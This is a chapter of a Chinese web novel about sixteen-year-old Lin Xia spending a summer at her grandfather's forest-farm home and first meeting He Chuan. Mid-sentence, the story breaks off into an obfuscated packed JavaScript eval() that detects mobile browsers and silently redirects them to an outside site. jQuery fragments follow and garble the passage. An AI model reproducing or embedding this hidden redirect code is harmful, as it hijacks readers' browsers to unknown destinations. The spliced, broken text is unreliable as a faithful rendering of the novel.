2007年7月5日，晴
东北的夏天，总是热烈而短暂，花草树木会在几十天内，把积蓄一整年的精力养分通通释放，轰轰烈烈的开花，抽芽，枝繁叶茂，而后迅速枯萎凋零。
因短暂而热烈，也因热烈而短暂。
植物如此，人也是如此。
林夏趴在车窗上，望着外面匆匆而过的山林绿野，心里的低落不禁被冲淡了几分。
生于夏至，取名为夏，她喜欢夏天。
可以穿漂亮裙子，吃冰淇淋，可以睡懒觉，放暑假，和同学出去玩，这是一个十六岁的少女对夏天的全部期待，如此简单。
“夏夏，看前面，待会儿你又该晕车了。”
林学东拍了拍她的肩膀。
林夏听了爸爸的话坐正身体，把视线投向车内。
这是一辆老式中巴车，不紧不慢晃悠在不算平整的土路上，不知道哪个部位的老旧零件吱嘎作响，上下一个车门，十几个座位，车上人不算多，没坐满，开窗有灰，不开窗闷热，柴油味混合汗味弥漫在空气里十分刺鼻，这一切才是叫人晕车的罪魁祸首。
无聊之下，她用手指揪着眼前刘海的发尾，横看竖看，还是觉得太短。
她一直护头发护得紧，这次考完试她好不容易下定决心去理发，明明事前再三告诉了理发师只剪一个小指节，对方充耳不闻，大刀阔斧直接将她留了两年的及肩长发剪到了耳下。她当场哭出了声来，回家气得把自己关进房间里，拒绝吃饭。
最后还是第二天妈妈带她去了一家比较贵的理发店，给她重新设计了一个洋气又俏皮的发型，她这才罢休。
从小到大她一直都是如此，用林学东的话说，臭美，任性，看着乖乖巧巧的，其实骨子里特别有主意，一丁点不顺心都不行。
十几分钟后，中巴车停在了一个岔路口，林夏头昏脑胀的下了车，跟在林学东的身后，沿着岔路缓坡往上走。
路的两旁是郁郁葱葱的人工林，白桦、红松、落叶松、樟子松，都是东北特有的耐寒树种，每隔一段距离，会有三三两两的平房人家。这里是离望春市区不远的林场，坐车要二十几分钟，走路要一个多小时，不知道具体名字，大人们都叫作小林场。
也许还有一个大林场？林夏不太清楚。
小的时候都是这样，对周围的一切事物的认知都模模糊糊，大人们说什么就是什么，并且觉得一切好像都是理所当然这样，不会想去质疑，去深究。
林夏的爷爷林海生住在这里，她即将在爷爷家渡过初中毕业的这个暑假。
大约走了十几分钟，他们来到了一户房屋相对来说比较高大宽敞的人家，房前有一片围起来到小院子，院子里没有养鸡种菜，只栽了一些金光菊和一串红，红砖铺路，收拾得干干净净，一点儿异味也没有。
进了院门，穿过小院儿，来到门前，林学东摁响了门铃，片刻后房门被打开，来开门的是一个女人。
“学东夏夏来了？”
女人大约四十多岁，比林海生大一些，穿一件白底蓝花的衣服，长发松挽，眼角隐有细纹，但并不显老，她很瘦，很白，眉清目秀，五官姣好，笑起来眉眼弯弯，温婉又恬静。
林学东点了点头，叫了声：“萍姐。”
林夏也跟着叫道：“萍姨。”
何萍脸上笑容短暂的凝滞了一瞬，又或许没有，然后她自然而然的招呼他们：
“快进门啊，外面多热，屋里凉快！”
进门之后是四四方方一个大客厅，窗明几净，南北通透，穿堂风悠悠吹过，果然很凉快。
何萍扬声唤道：“老师，学东和夏夏来了！”
林海生退休前是大学教授，何萍据说曾是他的学生。
林夏和林学东换了拖鞋之后，只见林海生慢悠悠从书房走了出来，扫了父女两个一眼，不怒不喜，只是很平静的说：
“来了？坐吧。”
林夏一直觉得爷爷和爸爸长得一点也不像，林海生个头很高，很瘦，有一股斯斯文文的书卷气，一看就是清高文化人，在哪里都鹤立鸡群，而林学东不高不矮，不胖不瘦，只是一个普普通通的中年男人，扔在人堆里找不着那种。
也许爸爸长得像奶奶？但奶奶在林夏很小很小的时候就去世了，林夏对她几乎没什么印象。
三个人在沙发上坐下，何萍手脚麻利的切了西瓜端了过来，笑眯眯的说：
“夏夏吃西瓜，冰过的，特别甜。”
她说话时个别咬字有些发飘，带着不知哪里的口音，听起来很奇怪。
林夏看了眼林海生，后者点了点头，于是她小声说了句谢谢，拿起了一小块西瓜默默的啃着。
何萍见状笑了笑，又去厨房泡茶，像女主人，又像保姆，热情而殷勤。
林夏小学的时候逢年过节，总被父母领着到爷爷家拜访，但这几年却几乎没有来过了，她知道原因就是眼前的这个女人。
林学东和赵倩怡不会当她的面讲这些事，但只字片语她也猜个七七八八，什么没脸没皮，什么没名没分。
大人总以为小孩子什么都不懂，其实小孩子不动声色的把一切看在眼里，有时比大人还要通透。
那边父子两个人在对话。
林海生问：“怎么突然要出门？”
“去找倩怡。”
林海生皱了皱眉：“她又去省城了？”
林学东点头。
“你工作那边怎么办？”
“单位给我假了。”
“去多久。”
林学东轻叹了口气：“说不好。”
林海生有些不悦，语气也严厉了起来：“你们两个到底怎么回事？”
林学东张了张口，没马上回答，他对坐在身边的林夏说：
“夏夏，自己去院子里玩吧。”
林夏正待得无聊，又在纠结自己的头发，听话应了一声，就往门外走去。
临出门的时候，她见窗台放了一本薄薄的册子，顺手拿起来翻了翻，发现是本诗集，便带着一起出了门。
她在院子里转了一圈，观察了一会儿盛夏正开得灿烂的花，被太阳晒得有些热，于是便在大门外有荫凉的木桩上坐了下来，随手翻看着那本带出来的书。
这是顾城的诗集，书页泛黄，有些年头了，书皮用白纸仔细的包裹，扉页上用墨蓝色的钢笔水留下了主人的名字——
何川
一笔一划，尖锐锋利。
字如其人，那时她想着，这一定是个倔强高傲的人，不好相处。
书中的诗很美，星月的来由，种子的梦想，分别的海，家乡的树......渐渐地，叫读诗的人也走进了诗人的梦里。
不知过了多久，太阳西斜，小路的尽头，一个骑自行车的身影由远及近，最终停在了门前。
林夏从书里抬起头，迎着夕阳看向来人，下意识眯了眯眼。
这是一个十八九岁的少年，面孔俊秀，五官斯文，皮肤很白，衬得头发格外黑亮。他穿着白色短袖衬衫，藏蓝色长裤，双手扶着自行车车把，单脚支地，腿很修长。
他没有出声询问，只是安静的看着自己，几分茫然，几分犹豫。
“何川？”林夏问道。
他下意识应了一声。
“嗯。”
何川并没有被提前告知今日会有谁上门，他一大早就去了市区参加同学的升学宴。
面前陌生的小姑娘在毫不掩饰的打量自己，他也不动声色的审视对方。
少女一身雪白棉布连衣裙，泡泡袖，蕾丝边，坐在低矮的树桩上，裙摆下伸出瘦小纤细的两条腿，脚上的小白鞋同样一尘不染。从上到下，精致可爱得像个洋娃娃，一看就是从小被父母精心疼爱长大的孩子。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627081|172425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
左手拿着他的书，伸出右手指了指他：
“何川。”
而后又指了指自己：
“林夏。”
她浅浅笑了一下，眉眼弯弯，一颗小虎牙若隐若现。
十九岁与十六岁的夏天，这是何川与林夏的初见。
诗集翻到这一页——
【草在结它的种子
风在摇它的叶子
我们站着
不说话
就十分美好】
......
林夏跟着何萍进了房间。
房间里的陈设格外简单，只有一张床，一套桌椅，一排老式衣柜，墙上挂着一张世界地图，除此以外，干干净净，什么都没有。
何萍从衣柜里拿出一套新的床单被罩，把床上旧的换下来。
“夏夏，你睡在这屋。”
林夏意识到了什么，轻声问道：“这是......何川的房间？”
何萍没有回头，一边重新铺床一边说：“是啊，这是你何川小叔叔的房间，但你别担心，他睡书房，那里还有一张床。”
林夏一愣，不知道该回答什么好。
她知道何川是何萍和死去的前夫所生的孩子，可她明明按照父母的交代叫了何萍“萍姨”，她却还自顾自的让她管何川叫“叔叔”，这是什么辈分？太奇怪了。
于是她只好选择什么也不说。
好在何萍也没有在意，帮她整理好床铺后就离开了，临走时还贴心的告诉她：
“夏夏你先收拾吧，待会儿叫你吃饭，缺什么跟我说，别不好意思。”
何萍走后，林夏来到床边，试探着坐了下来，床单虽是新的，但应该被洗过，散发出干爽的肥皂淡香，只是这上面灰色的单调花纹在小姑娘的审美里实在不算好看。
林夏有点认床，陌生环境里很难睡着觉，她有预感，今晚一定会做噩梦。
.
望春市每天有两班去省城的火车，早一班，晚一班，小林场与火车站南辕北辙，没来及吃晚饭，林学东就要赶去火车站了。
他临走前把女儿单独叫到身边，嘱咐她：
“夏夏乖乖听爷爷话，爸爸过几天就接你回去。”
林夏点了点头：
“爸你哄哄妈妈，妈刀子嘴豆腐心，你多说两句软化，妈妈就跟你回来了。”
林学东和赵倩怡经常吵架，为了鸡毛蒜皮的小事，林夏早就习惯了。说吵架也不准确，每次其实都是赵倩怡单方面发脾气，林学东一声不吭听着，赵倩怡的火气来的快去的也快，两三天就跟没事儿人一样了。但这次不知道发生了什么，赵倩怡气得直接跑到了省城朋友家，一周了还没回来。
赵倩怡是小学音乐老师，一放暑假她就走了，连中考成绩出来时都是林夏打电话告诉妈妈的。林学东在区里某单位上班，现在要请假外出，林夏自然没人管没人顾，只能被送到了爷爷家。
林学东摸了摸林夏的头，眼睛里闪过笑意：
“人小鬼大！”
然后他从兜里拿出钱包，抽出了一百元递给林夏：
“拿着，想吃什么自己买，别乱花钱，别和爷爷闹脾气，知不知道？”
林夏双眼一亮，欢欢喜喜的接过来，赵倩怡对她管的严，不准她乱买零食，所以她除了过年压岁钱外很少能得到零花钱，更别说是这么一笔“巨款”了。
可她很快又把钱退了回去：
“这张太新了，我要一张旧的。”
林学东奇怪：“你不是说过每次都要给你新钱吗？这是爸爸特意去换的。”
林夏有自己的一套逻辑：
“那是压岁钱，我要攒起来的，这是零花钱，太新了我舍不得花。”
林学东无奈，但还是纵容了女儿，从钱包里换了张旧钱：
“这回行了吧？”
“谢谢爸爸！”